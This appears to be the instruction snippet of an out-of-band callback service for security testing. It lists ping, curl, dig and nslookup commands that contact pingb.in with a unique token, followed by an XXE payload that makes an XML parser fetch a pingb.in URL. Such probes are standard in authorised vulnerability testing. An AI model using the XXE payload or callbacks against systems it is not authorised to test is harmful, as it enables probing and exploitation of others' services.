$ ping -c1 -p 0057ea461186e5779d85393de6184900 pingb.in
 

$ curl pingb.in/p/57ea461186e5779d85393de61849
 

$ dig 57ea461186e5779d85393de61849 @pingb.in
 

$ dig 57ea461186e5779d85393de61849.ns.pingb.in
 

C:\> nslookup 57ea461186e5779d85393de61849 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/57ea461186e5779d85393de61849">]>
    <foo>&xxe;</foo>